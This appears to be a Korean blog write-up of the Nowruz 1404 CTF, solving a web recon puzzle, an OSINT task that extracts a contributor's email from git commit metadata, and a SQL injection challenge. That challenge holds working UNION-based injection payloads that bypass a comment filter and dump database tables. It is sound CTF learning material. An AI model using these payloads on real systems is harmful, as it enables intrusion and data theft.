Search

[FMCTF - Nowruz 1404] CTF 후기 및 Write-Up

Categories
Tags
작성일
2025/03/21
1 more property

Introduction

이번 NOWRUZ 1404 CTF 대회는 FlagMotori 팀에서 주최한 Jeopardy 스타일의 CTF 대회입니다.
대회 소개를 보면 초보자도 쉽게 접근할 수 있고 사이버 보안을 재밌게 배울 수 있는데 초점을 맞추었다고 되어있는데, CTF 경험이 적은 저에게는 아주 매력적인 소개인 것 같습니다.
또한, 이번 대회에서 처음으로 플래그도 획득 했었는데, 비록 쉬운 문제이지만 팀 스코어에 조금이나마 기여할 수 있어서 오랫동안 기억에 남을 것 같습니다.
대회 소개를 좀 더 하자면, NOWRUZ 1404 CTF는 24시간(2025.03.15 ~ 2025.03.16)동안 진행되는 대회로, crypto, forensics, misc, OSINT, Pwn, Reverse, Web 총 7개의 카테고리 문제가 출제 되었으며, 저는 이 중 Web, OSINT 카테고리에서 문제를 풀었습니다.
이제부터 제가 풀었던 문제들의 풀이 과정을 정리해보겠습니다.

Challenge

Web

7seen

Can you find all the seens? "the name of Iranian famous chracter starts with "Hajji" for the seen7" https://seven-seens-chall.fmc.tf/
Plain Text
복사
주어진 문제의 URL 주소에 접속하면 Haft-Seen Table 을 만들기 위한 7가지 요소를 찾으라고 되어있으며, 각 요소들은 페르시아어 س 로 시작하는데, 어딘가에 숨겨져 있다고 나와있습니다.
 첫 번째 Seen: S4Am4n0Oo
먼저, 페이지의 소스코드를 살펴봤는데, 코드 하단에 있는 주석에서 요소 S4Am4n0Oo 를 발견할 수 있었습니다.
이 요소를 페이지 중앙에 있는 입력 폼에 작성하고 Put Seen 버튼을 클릭하면, Seen 요소인 경우 하단의 플래그(FMCTF{...})가 채워지게 됩니다.
 두 번째 Seen: S1iBb
두 번째 Seen도 첫 번째와 마찬가지로 소스코드에서 발견할 수 있었습니다. 입력 폼에 data-value 라는 속성의 값으로 S1iBb 가 적혀있는데, 이는 페이지 설명에 Haft-Seen Table 요소의 일부인 Apple(= Sib)이라는 것을 알 수 있었습니다.
 세 번째 Seen: sonbol
세 번째 Seen 부터는 소스코드에서 발견되지 않아 시간이 좀 걸렸습니다. 이에 Seen을 입력할 때 나오는 이미지 파일명을 통해 먼저 Haft-Seen Table 요소들이 무엇이 있는지 확인했습니다.
이 방식은 Chat GPT를 통해 Haft-Seen Table 의 요소들이 무엇이 있는지를 확인하고,
이후 위 요소들이 있는지 이미지 URL 주소(e.g. Sabzeh/static/symbols/sabzeh.png)를 요청해서 확인했습니다.
하지만 Seen 요소를 찾더라도 문자열이 leet speak로 변형되어 있어서(e.g. SibS1iBb) 정확한 문자열을 찾기가 어려웠습니다.
그러던 중 팀원 한 분이 HTTP Response Header에서 'Seen'이라는 헤더를 발견했는데, 이는 Base64로 인코딩된 문자열이었고, 디코딩해보니 Seen 요소임을 확인할 수 있었습니다.
Base64 Encoding: U09vbmIwTGw=
Base64 Decoding: SOonb0Ll
 네 번째 Seen: S4bZz3hhH
이어서 발견된 Seen도 팀원 한 분이 robots.txt 에서 발견했습니다. 이에 robots.txt 를 요청하면 다음과 같이 URL /ohhh-ive-seen-a-seen 을 발견할 수 있었습니다.
해당 URL /ohhh-ive-seen-a-seen 를 요청하면 다음과 같이 네 번째 Seen 요소인 S4bZz3hhH 를 발견할 수 있습니다.
 다섯 번째 Seen: S1IIr
다섯 번째 Seen도 팀원 분이 sitemap.xml 에서 발견했는데, 해당 파일의 내용은 다음과 같습니다.
이 파일에 적혀있는 S1IIr 을 입력 폼에 입력하고 Put Seen 버튼을 클릭하면 다섯 번째 Seen도 확인할 수 있었습니다.
추가로, sitemap.xml 에는 URL /haft-seen 를 발견할 수 있는데 해당 페이지를 요청해보겠습니다.
 여섯 번째 Seen: Se3nJ3dDd
앞서 살펴본 다섯 번째 Seen 요소를 발견한 과정에서 URL /haft-seen 를 발견할 수 있습니다.
이 URL을 요청하면 아래의 문구를 확인할 수 있는데, 해석하면 ‘오직 요청의 목적지가 7seen 인 경우에만 계속 진행할 수 있고, 현재 너의 sec-fetch-destdocument 라고 표시되고 있다고 합니다.
Only the request's destination to '7seen' can continue!, your sec-fetch-dest currently shows: document
Plain Text
복사
위 문구에 적혀 있는 sec-fetch-dest 는 HTTP Request Header 이였고, 이 헤더의 값을 7seen 으로 변경하여 요청하면 다음의 HTTP Reponse를 확인할 수 있습니다.
위 응답 데이터의 Body 데이터는 해석하면 다음과 같습니다.
우리의 유명한 캐릭터의 ?name= 은 무엇인가요? 그 캐릭터는 노우루즈(새해) 즈음에 산타처럼 옵니다. /^[a-z]{5} [a-z]{5}$/
Plain Text
복사
즉, 캐릭터 이름을 URL 파라미터 name 에 ‘5글자 + 공백 + 5글자’로 작성 하라고 나와있는데, 이를 Chat GPT에 물어본 결과 Hajji Firuz 인 것을 알 수 있었습니다.
이에 /haft-seen?name=Hajji Firuz 를 요청하면 다음의 HTTP Response를 확인할 수 있으며, Body 내용을 살펴 보면, AAAABQFYAXc='/xor-key' 와 함께 암호화 되어 있다고 나와있습니다.
이어서 URL로 보이는 /xor-key 를 요청하면 해당 페이지에서 Se3nJ3dDd 를 확인할 수 있었습니다.
그 결과, 여섯 번째 Seen 요소가 Se3nJ3dDd 임을 확인할 수 있습니다.
 일곱 번째 Seen: Se3kKke3
마지막 일곱 번째 Seen은 방금 전 여섯 번째 Seen(Se3nJ3dDd)을 찾는 과정에서 힌트를 얻을 수 있습니다.
1.
URL /haft-seen?name=Hajji Firuz 를 요청했을 때, AAAABQFYAXc=/xor-key 와 함께 암호화 되어 있다고 나와있었습니다.
2.
URL /xor-key 를 요청하면 XOR 키가 Se3nJ3dDd 라고 나와있습니다.
따라서, XOR 키가 Se3nJ3dDd 이고, 암호화된 값이 AAAABQFYAXc= 이므로, 이를 다시 XOR을 수행하면 일곱 번째 Seen을 획득할 수 있습니다.
import base64 if __name__ == "__main__": cipher_text = base64.b64decode("AAAABQFYAXc=") xor_key = "Se3nJ3dDd" result = "" for index, cipher_byte in enumerate(cipher_text): plain = chr(cipher_byte ^ ord(xor_key[index])) print(f"idx: {index}, cipher_byte: {cipher_byte}, xor: {xor_key[index]}({ord(xor_key[index])}), char: {plain}") result += plain print(f"Result: {result}")
Python
복사
위 복호화 스크립트 결과에 의해 일곱 번째 Seen은 Se3kKke3 인 것을 확인했습니다.
 7 Seen 정리
최종적으로, Haft-Seen Table 의 7개 요소들은 다음의 방법으로 찾을 수 있었습니다.
No
Seen
Method
1
S4Am4n0Oo
페이지 소스코드 하단 주석에서 발견됨
2
S1iBb
페이지 소스코드 입력 폼의 data-value 속성의 값에서 발견됨
3
sonbol
HTTP Request Header 중 Seen 헤더의 값을 Base64 디코딩하면 발견됨
4
S4bZz3hhH
robots.txt 에서 발견한 /ohhh-ive-seen-a-seen URL 요청하면 발견됨
5
S1IIr
sitemap.xml 에서 발견됨
6
Se3nJ3dDd
sitemap.xml 에 정의된 URL /haft-seen 을 요청한 뒤, Sec-Fetch-Dest 헤더에 7seen 을 작성하고, 다시 /haft-seen?name=Hajji Firuz 를 요청하면, /xor-key URL을 발견, 이 URL을 요청하면 발견됨
7
Se3kKke3
여섯 번째 Seen(Se3nJ3dDd)과 /haft-seen 을 요청했을 때 발견된 Base64 인코딩 문자열(AAAABQFYAXc=)과 XOR 수행하면 발견됨
그리고 7개의 Seen 요소들로 이루어진 플래그 값은 다음과 같습니다.
FMCTF{S4bZz3hhH_S1IIr_S1iBb_S4Am4n0Oo_Se3nJ3dDd_SOonb0Ll_Se3kKke3}
Plain Text
복사

Black Mirror

I'm a big fan of black mirror. Note: Make sure to check the comments of homepage! https://blackmirror-chall.fmc.tf
Plain Text
복사
문제에 나와있는 URL을 접속하면 다음과 같이 Black Mirror 에피소드를 검색할 수 있는 페이지가 나옵니다.
해당 페이지의 소스코드를 살펴보면, 주석에 ?view-source 가 작성된 것을 확인할 수 있습니다.
이를 통해 URL 파라미터 view-source 를 같이 전달하여 요청하였고, 그 결과 다음과 같이 해당 페이지의 PHP 소스코드를 확인할 수 있었습니다.
코드를 살펴보면, URL 파라미터 query 에 입력한 값은 함수 mirrorify 로 전달되어 그 결과가 SQL 질의문에 포함되어 질의를 수행하는 것을 확인할 수 있습니다.
$db = dbconnect(); if (isset($_GET["query"]) && is_string($_GET["query"])) { $mirrorified = mirrorify($_GET["query"]); $sql = "SELECT * FROM series WHERE name LIKE (\"%${mirrorified}%\")"; $result = mysqli_query($db, $sql); $episodes = mysqli_fetch_all($result); } else { $result = mysqli_query($db, "SELECT * FROM series"); $episodes = mysqli_fetch_all($result); }
PHP
복사
즉, 사용자가 입력한 데이터가 데이터베이스 질의문에 그대로 전달되므로 SQL Injection 취약점을 이용하여 푸는 문제로 보입니다.
다만, 사용자가 입력한 URL 파라미터 query 의 값은 함수 mirrorify 로 전달되는데, 해당 함수는 주석 문자(--, #)를 ? 로 변환하고 대괄호([]), 중괄호({}), 소괄호(()), 부등호(<>) 등의 괄호 문자들을 서로 반대되는 괄호로 변환한 뒤, 원본 문자열과 변환된 문자열을 뒤집어서 붙이는 작업을 수행합니다.
function mirrorify($query) { $s_query = str_replace(["--", "#"], "?", $query); $trans = [ "(" => ")", ")" => "(", "<" => ">", ">" => "<", "[" => "]", "]" => "[", "{" => "}", "}" => "{", ]; $m_query = strtr($s_query, $trans); return $s_query . strrev($m_query); }
PHP
복사
예를 들어, URL 파라미터 queryABCD%")# 를 전달할 경우 쿼리는 다음과 같이 변경됩니다.
1.
입력 값: ABCD%")#
2.
주석 문자(#)을 ? 문자로 변경 → ABCD%")?
3.
괄호 문자())를 반대 괄호(()로 변경 → ABCD%"(?
4.
2번 값(ABCD%")?)과 뒤집어진 3번 값(?("%DCBA)을 붙이기 → ABCD%")??("%DCBA
이를 통해 다음과 같은 질의문이 만들어집니다.
--// ABCD%") 를 전달한 경우 SELECT * FROM series WHERE name LIKE ("%ABCD%")??("%DCBA%")
SQL
복사
이러한 특징을 이용하여 SQL Injection 취약점을 발생 시키기 위해 주석 문자 -- 를 이용했습니다.
함수 mirrorify 에서는 주석 문자 --? 로 변환하고 있지만, 하나의 하이픈 문자(-)를 맨 끝에 삽입할 경우 이를 뒤집어서 붙이기 때문에 -- 문자가 만들어집니다.
예를 들어, ") -를 전달하면 SQL 질의문은 아래와 같이 생성됩니다. 이때 질의문 끝의 ("%")는 주석 문자 --에 의해 무시되어 정상적인 SQL 질의가 가능해집니다.
--// ") - 를 전달한 경우 SELECT * FROM series WHERE name LIKE ("%") -- ("%")
SQL
복사
이를 이용하여 다음의 과정을 통해 플래그를 획득할 수 있었습니다.
UNION 구문으로 조회되는 컬럼 위치 식별
페이로드 ?query=") AND 1=2 UNION SELECT 1,2,3,4 - 를 요청할 경우 질의문은 아래처럼 완성됩니다.
--// ") AND 1=2 UNION SELECT 1,2,3,4 - 를 전달한 경우 SELECT * FROM series WHERE name LIKE ("%") AND 1=2 UNION SELECT 1,2,3,4 -- 4,3,2,1 TCELES NOINU 2=1 DNA ("%")
SQL
복사
즉, UNION 구문을 통해 페이지에서 2번째, 3번째 컬럼 값이 조회되는 것을 확인할 수 있습니다. 이후 해당 컬럼 위치에 서브쿼리를 삽입하여 플래그를 획득하면 됩니다.
 테이블 조회
테이블 조회는 SELECT table_name FROM information_schema.tables LIMIT 1 질의문을 이용하여 LIMIT 의 값을 증가하는 방식으로 테이블 정보를 획득하였습니다.
그 결과, ?query=") AND 1=2 UNION SELECT 1,(SELECT table_name FROM information_schema.tables LIMIT 1),3,4 - 를 요청하면 아래와 같이 SQL 질의문이 완성되며, 플래그가 저장되어있는 테이블 명을 확인할 수 있습니다.
--// ") AND 1=2 UNION SELECT 1,(SELECT table_name FROM information_schema.tables LIMIT 1),3,4 - 를 전달한 경우 SELECT * FROM series WHERE name LIKE ("%") AND 1=2 UNION SELECT 1,(SELECT table_name FROM information_schema.tables LIMIT 1),3,4 -- 4,3,(1 TIMIL selbat.amehcs_noitamrofni MORF eman_elbat TCELES),1 TCELES NOINU 2=1 DNA ("%")
SQL
복사
 컬럼 조회
테이블 명이 FLAG_bc740136d60b25a2c5c305b8 인 것을 확인 했고, 이어서 컬럼명을 조회하기 위해 SELECT column_name FROM information_schema.columns WHERE table_name="FLAG_bc740136d60b25a2c5c305b8" LIMIT 1 질의문을 이용했습니다.
이는 URL ?query=") AND 1=2 UNION SELECT 1,(SELECT column_name FROM information_schema.columns WHERE table_name="FLAG_bc740136d60b25a2c5c305b8" LIMIT 1),3,4 - 로 완성됩니다.
--// ") AND 1=2 UNION SELECT 1,(SELECT column_name FROM information_schema.columns WHERE table_name="FLAG_bc740136d60b25a2c5c305b8" LIMIT 1),3,4 - 를 전달한 경우 SELECT * FROM series WHERE name LIKE ("%") AND 1=2 UNION SELECT 1,(SELECT column_name FROM information_schema.columns WHERE table_name="FLAG_bc740136d60b25a2c5c305b8" LIMIT 1),3,4 -- 4,3,(1 TIMIL "8b503c5c2a52b06d631047cb_GALF"=eman_elbat EREHW snmuloc.amehcs_noitamrofni MORF eman_nmuloc TCELES),1 TCELES NOINU 2=1 DNA ("%")
SQL
복사
 플래그 조회
플래그가 담긴 위치는 테이블 명이 FLAG_bc740136d60b25a2c5c305b8 이고, 컬럼이 flag 라는 것을 확인했으니, SELECT flag FROM FLAG_bc740136d60b25a2c5c305b8 질의문을 이용하면 플래그 획득이 가능합니다.
이는 URL ?query=") AND 1=2 UNION SELECT 1,(SELECT flag FROM FLAG_bc740136d60b25a2c5c305b8),3,4 - 를 전달하면 되고, 완성되는 SQL 질의문은 다음과 같습니다.
--//?query=") AND 1=2 UNION SELECT 1,(SELECT flag FROM FLAG_bc740136d60b25a2c5c305b8),3,4 - SELECT * FROM series WHERE name LIKE ("%") AND 1=2 UNION SELECT 1,(SELECT flag FROM FLAG_bc740136d60b25a2c5c305b8 LIMIT 1),3,4 -- 4,3,(1 TIMIL 8b503c5c2a52b06d631047cb_GALF MORF galf TCELES),1 TCELES NOINU 2=1 DNA ("%")
SQL
복사
결과적으로, 방금 요청한 URL을 통해 플래그가 페이지에 출력되는 것을 확인할 수 있었습니다.
FMCTF{674fc2c4d20858e922d14fff640a65f2}
SQL
복사
 번외: Unintended
Black Mirror 문제의 플래그를 제출하자마자 운영진으로부터 연락을 받았습니다…
출제자는 Unintended(의도하지 않은)가 존재하는지 확인하고자 연락을 했던 것인데, 제가 풀이한 방식을 설명하니 Unintended 라고 합니다.
다행히도 제출한 플래그는 인정되어 점수를 획득할 수 있었지만, 출제자가 의도한 풀이 방법이 무엇이었는지는 파악하기 어려웠습니다.
이후 대회가 끝나고 해당 문제에서 의도한게 무엇인지 확인하고자 공식 Write-Up을 살펴보니, MySQL의 Special Comments 를 이용하는 문제였습니다.
개인적인 생각으로, 문제 코드에서 주석 문자 --? 로 치환 했었는데, 만약 하이픈 문자(-) 하나를 치환하는 방식이었다면 출제자의 의도 방식으로 접근하지 않았을까 싶습니다.
function mirrorify($query) { - $s_query = str_replace(["--", "#"], "?", $query); + $s_query = str_replace(["-", "#"], "?", $query); $trans = [ "(" => ")", ")" => "(", "<" => ">", ">" => "<", "[" => "]", "]" => "[", "{" => "}", "}" => "{", ]; $m_query = strtr($s_query, $trans); return $s_query . strrev($m_query); }
Diff
복사

OSINT

Anon Skiddie Part1

We have a new team member who is still in training. The other day, he said he is trying to learn Git in order to contribute to our writeup website but he is still struggling with it. Let's hope he hasn't exposed his email address. Flag example: FMCTF{s3an.4lpha3d0n@outlook.com}
Plain Text
복사
해당 문제를 번역 하면, ‘새로운 팀원이 writeup 웹 사이트에 기여하고자 Git을 배우려고 노력중이고, 그가 자신의 이메일을 노출하지 않았기를 바란다.’라고 나와있습니다.
플래그는 이메일 주소 형식으로 이루어져 있으므로 Git과 이메일을 생각했을 때, Git 커밋 기록에 남아 있는 커밋 작성자의 이메일 정보가 생각이 났습니다. 이는 git log 명령어를 입력했을 때, 다음과 같이 커밋 작성자의 이름과 이메일 정보를 확인할 수 있으므로, 이를 통해 커밋 기록에서 작성자의 이메일 정보를 획득 할 수 있을 것이라 판단했습니다.
따라서, writeup 웹 사이트와 관련된 Git 저장소를 찾은 다음 git log 명령어를 입력하여 이메일 정보를 확인하기 위해 아래의 과정을 진행했습니다.
 writeup 웹 사이트의 Git 저장소 발견
우선, 문제에서 얘기하는 writeup 웹 사이트의 Git 저장소를 찾기 위해 이번 Nowruz 1404 CTF의 CTFTime 이벤트 페이지에 접속했습니다. 해당 페이지에서는 주최자 프로필 링크를 확인할 수 있었습니다.
이후 해당 주최자의 프로필에 접속하면, 주최자의 웹 사이트 주소 https://fmC.TF 를 확인할 수 있습니다.
이어서 주최자의 웹 사이트를 접속하면, Github 링크를 확인할 수 있습니다.
이후 해당 Github에서는 다음과 같이 writeup 사이트 관련 저장소를 발견할 수 있었습니다.
 writeup 웹 사이트에 기여한 새로운 팀원 확인
writeup 웹 사이트의 Git 저장소를 확인했을 때, 가장 먼저 눈에 띈 내용은 PR 기록이 올라와 있던 내용이었습니다. 또한, 올라온 PR 기록을 살펴보니 Leet Speak 로 되어 있는 기록이 매우 의심이 됐습니다.(해당 PR의 타이틀 7H15 15 my F1r57 k0mm17This is my first commit 로 해석됩니다.)
 Git 저장소의 PR 작성자 정보 확인하기
올라온 PR 기록의 작성자 정보를 확인하기 위한 방법은 2가지가 있습니다.
첫 번째는 PR 브랜치를 로컬로 가져와서 확인하는 방법입니다. 이를 위해서는 다음의 과정을 수행합니다.
1.
해당 writeup 저장소를 로컬로 가져오기
아래 명령어를 입력하면 writeup 저장소를 내려받을 수 있습니다.
# git clone <저장소 주소> git clone https://github.com/FlagMotori/writeups.git
Bash
복사
2.
대상 PR 번호를 확인하고 해당 PR을 내려받기
PR 번호는 Git 저장소에서 대상 PR을 클릭하면 확인할 수 있습니다. 현재 내려받을 PR 번호는 다음과 같이 60 으로 나와있습니다.
이후 아래의 명령어를 입력하여 대상 PR(#60)을 브랜치로 내려받습니다.
# git fetch origin pull/<PR번호>/head:<브랜치명> git fetch origin pull/60/head:PR-60
Bash
복사
3.
내려받은 PR의 브랜치로 변경한 뒤 커밋 로그 기록 확인
이후 다음의 명령어를 입력하여, 내려받은 PR의 브랜치로 변경하고 커밋 로그 기록을 확인합니다. 그럼 다음과 같이 커밋 작성자의 이메일 주소를 확인할 수 있습니다.
# git checkout <브랜치명> # 브랜치로 checkout git checkout PR-60 # git --no-pager log -n 1 # 커밋 기록 확인(--no-pager: 뷰어 없이, -n 1: 커밋 기록 1개) git --no-pager log -n 1
Bash
복사
두 번째 방법은 PR이 올라온 사이트의 커밋 URL 주소 끝에 .patch 를 추가하는 방법입니다. 해당 과정은 다음과 같습니다.
1.
Github에서 대상 PR의 커밋으로 이동
확인할 PR로 접속한 뒤, Commits 탭으로 이동한 다음 대상 커밋의 번호를 클릭합니다.
2.
대상 커밋의 URL 주소 끝에 .patch 를 추가합니다.
리다이렉트된 커밋 URL 주소 끝에 다음과 같이 .patch 를 추가하여 접속하면 커밋 작성자의 정보를 확인할 수 있습니다.
 플래그 확인
결과적으로, Leet Speak 으로 작성한 PR 타이틀 7H15 15 my F1r57 k0mm17 의 커밋 기록을 확인하였고, 여기서 발견한 이메일 주소 h4ck3r.g0odr4tm4nd@gmail.com 가 플래그임을 확인하였습니다.
이에 이번 문제의 플래그는 다음과 같습니다.
FMCTF{h4ck3r.g0odr4tm4nd@gmail.com}
Plain Text
복사

Lessons Learned & Reflection

이번 CTF 대회는 초보자를 대상으로 하는 대회라고 했었는데, 아직 경험이 부족한 저는 문제 하나하나 새롭고 어렵기도 했습니다. 그럼에도 팀원 분들 덕분에 문제들을 하나씩 해결할 수 있었고, 무엇보다 앞서 언급했듯이 혼자 플래그를 획득하기도 한 CTF여서 즐겁게 대회에 임할 수 있었던 것 같습니다.
또한, CTF 대회는 참가할수록 새로운 기법을 알아가는 재미가 정말 흥미로운 것 같습니다. 이번에도 MySQL의 Special Comments 를 알게 된 것처럼 트릭(?)을 배우는 거지만, 단순히 이론이나 회사 업무를 통해서는 접하기 어려운 새로운 관점과 문제 해결 방식을 경험할 수 있다는 점이 큰 매력으로 다가온 것 같습니다.
앞으로는 다양한 CTF 문제들을 풀어보면서 제 역량을 좀 더 강화하고 싶다는 생각이 들었는데, 특히 팀에서 대회를 같이 하는 만큼 팀원 분들의 노고가 헛되지 않도록 저도 같이 열심히 해서 활약할 수 있도록 노력해야겠습니다.